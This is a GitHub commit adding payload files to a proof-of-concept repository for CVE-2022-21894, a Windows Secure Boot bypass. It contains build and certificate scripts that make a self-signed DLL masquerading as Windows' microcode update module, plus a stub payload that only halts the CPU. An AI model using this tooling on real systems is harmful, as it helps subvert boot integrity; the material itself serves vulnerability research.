payload: add files - Commit 210bc7b8 - STRLCPY/CVE-2022-21894

payload: add files
slipstream/RoL committed with GitHub 2 years ago

210bc7b8

1 parent f69423e8

Total 3 files Show one by one

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payload/build.bat

	1	+	@echo off
	2	+	cl /O2 /LD /Femcupdate.dll /Iinc mcupdate.c /link /nodefaultlib /subsystem:native /entry:PocMain /noimplib
	3	+	signtool sign /f selfsignedwin2.pfx /fd sha256 mcupdate.dll
	4	+	copy /y mcupdate.dll mcupdate_GenuineIntel.dll
	5	+	copy /y mcupdate.dll mcupdate_AuthenticAMD.dll

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payload/make_cert.bat

1 + @echo off
2 + makecert -r -pe -n "CN=SelfSigned_Windows" -a sha256 -cy end -sky signature -eku 1.3.6.1.5.5.7.3.3,1.3.6.1.4.1.311.10.3.6 -len 512 -sv selfsignedwin2.pvk selfsignedwin2.cer

All occurrences

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payload/mcupdate.c

	1	+	#include <stdint.h>
	2	+	#include <stdbool.h>
	3	+
	4	+	static inline __forceinline void WaitForInterrupt() {
	5	+	#if defined(_M_X64) \|\| defined(_M_IX86)
	6	+	__halt();
	7	+	#elif defined(_M_ARM) \|\| defined(_M_ARM64)
	8	+	__wfi();
	9	+	#else
	10	+	#error "Unsupported architecture"
	11	+	#endif
	12	+	}
	13	+
	14	+	uint32_t PocMain(void FunctionTableOut, void FunctionTableIn) {
	15	+	// We don't want to return back to the boot application.
	16	+	while (1) WaitForInterrupt();
	17	+	return 0xC00000BBL; // STATUS_NOT_SUPPORTED
	18	+	}

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